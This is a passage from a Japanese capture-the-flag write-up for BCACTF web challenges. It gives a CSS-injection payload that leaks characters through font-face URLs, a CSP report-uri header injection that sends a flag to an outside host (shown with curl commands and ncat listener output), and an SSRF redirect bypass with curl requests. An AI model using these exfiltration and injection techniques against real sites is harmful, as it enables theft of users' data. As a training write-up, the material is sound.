  payload += `@font-face{font-family:a;src:url(http://...?${c});unicode-range:U+00${c.charCodeAt(0).toString(16)}}`
}
payload += `
.d{font-family:a;}
`;

var bg = document.querySelector('#bg')
var bgs = "#ffffff;}" + payload + "*{";
bg.type = 'text';
bg.value = bgs;

CSS Injection周りで便利な記事やツール:

[webex 450] Completely Secure Publishing (24 solves)

問題名の通りContent Security Policy問。report-uri というディレクティブを使って、こんな感じでユーザが投稿する記事ごとにCSP違反の情報を収集していた:

            res.set("Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=${req.params.id}`);
app.post("/report-csp-violation", (req, res) => {
    if (!req.query || typeof req.query.id !== "string") return res.status(400).send("id must be a string");
    if (typeof req.body !== "object" || typeof req.body["csp-report"] !== "object") return res.status(400).send("not a csp report");
    db.update({_id: req.query.id}, {$inc: {cspViolations: 1, cspChars: req.body["csp-report"]["script-sample"]?.length || 0}}, {}, (error, count, _) => {
        if (error) {
            console.error(error);
            res.sendStatus(500);
        } else if (count > 0) {
            res.sendStatus(200);
        } else {
            res.sendStatus(404);
        }
    });
});

report-uri /report-csp-violation?id=${req.params.id} からわかるようにHTTP Header Injectionができる。このIDにNoSQL Injectionで nekoneko http:\\example.com みたいな文字列を仕込んでやると、CSP違反があれば nekoneko だけでなく http://example.com にもその内容が報告されるようになる。

CSPはユーザが投稿した記事を閲覧できるページで有効化されており、adminがアクセスした場合にはHTML Injectionが可能な箇所以降にフラグが出力されるので、<style> を仕込んでやればフラグを style 要素のコンテンツに含めさせることができる。インラインのCSSstyle-src 'report-sample' に違反しているから、フラグは http://example.com に送信される。

$ curl 'http://webp.bcactf.com:49154/publish' -H 'Content-Type: application/json' --data-raw '{"title":"abc","content":"<style>","_id":"nekoneko http:\u005c\u005cexample.com"}'
$ curl 'http://webp.bcactf.com:49154/visit' -H 'Content-Type: application/json' --data-raw '{"id":"nekoneko http:\u005c\u005cexample.com"}'
$ sudo ncat -lvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 192.155.88.173.
Ncat: Connection from 192.155.88.173:35966.
POST / HTTP/1.1
Host: example.com
Connection: keep-alive
Content-Length: 794
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Origin: http://localhost:1337
Referer: http://localhost:1337/
Accept-Encoding: gzip, deflate

{"csp-report":{"document-uri":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","referrer":"","violated-directive":"style-src-elem","effective-directive":"style-src-elem","original-policy":"child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=nekoneko http:\\\\example.com","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","status-code":200,"script-sample":"\u003Cp\u003EPrize: bcactf{csp_g0_brr_g84en9}\u003C/p\u003E\u003C"}}

[webex 450] Gerald Catalog (7 solves)

SSRF + プッシュ通知問。ソースコードがちょっと複雑なためか、解法は簡単なはずなんだけど正答チーム数は少なかった。まずSSRFについて、adminに http://localhost:1337/gerald/(adminしか読めない記事のID) を踏ませることさえできればフラグがプッシュ通知で飛んでくるんだけど、adminがアクセスするURLは以下のようにポート番号やらホスト名やらがチェックされている。これはリダイレクトでバイパスできる。

export function validateSubscription(data: unknown): Subscription | undefined {
    if (typeof data !== "object") return;
    const subscription = data as Record<any, unknown>;
    if (typeof subscription.endpoint !== "string") return;
    if (typeof subscription.keys !== "object") return;
    const keys = subscription.keys as Record<any, unknown>;
    if (typeof keys.auth !== "string") return;
    if (typeof keys.p256dh !== "string") return;

    try {
        const url = new URL(subscription.endpoint);
        if (url.port !== "80" && url.port !== "443" && url.port !== "") return;
        if (bannedHosts.includes(url.hostname)) return;
        if (url.host.includes(":")) return;
        if (url.host.includes("bcactf.com")) return;
        if (url.host.includes("192.168.")) return;
        if (url.hostname.startsWith("127.")) return;
        if (url.protocol !== "http:" && url.protocol !== "https:") return;
    } catch (e) {
        return;
    }

    return {endpoint: subscription.endpoint, keys: {auth: keys.auth, p256dh: keys.p256dh}};
}

fb062fed-59d8-404f-a0e7-a89cac65c847 というadminしか読めない記事、ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce という誰でも読める記事があるとして、以下の手順でフラグがプッシュ通知で飛んでくる。sw.js に適当にブレークポイントを置いておけばその内容を読めるはず。

$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce/subscription' \
  -X 'PUT' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: lion-token=…' \
  --data-raw '{"endpoint":"http://(localhost/gerald/fb062fed-59d8-404f-a0e7-a89cac65c847にリダイレクトさせるページのURL)","expirationTime":null,"keys":{"p256dh":"...","auth":"..."}}' \
  --insecure
$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce' --insecure

f:id:st98:20210617035105p:plain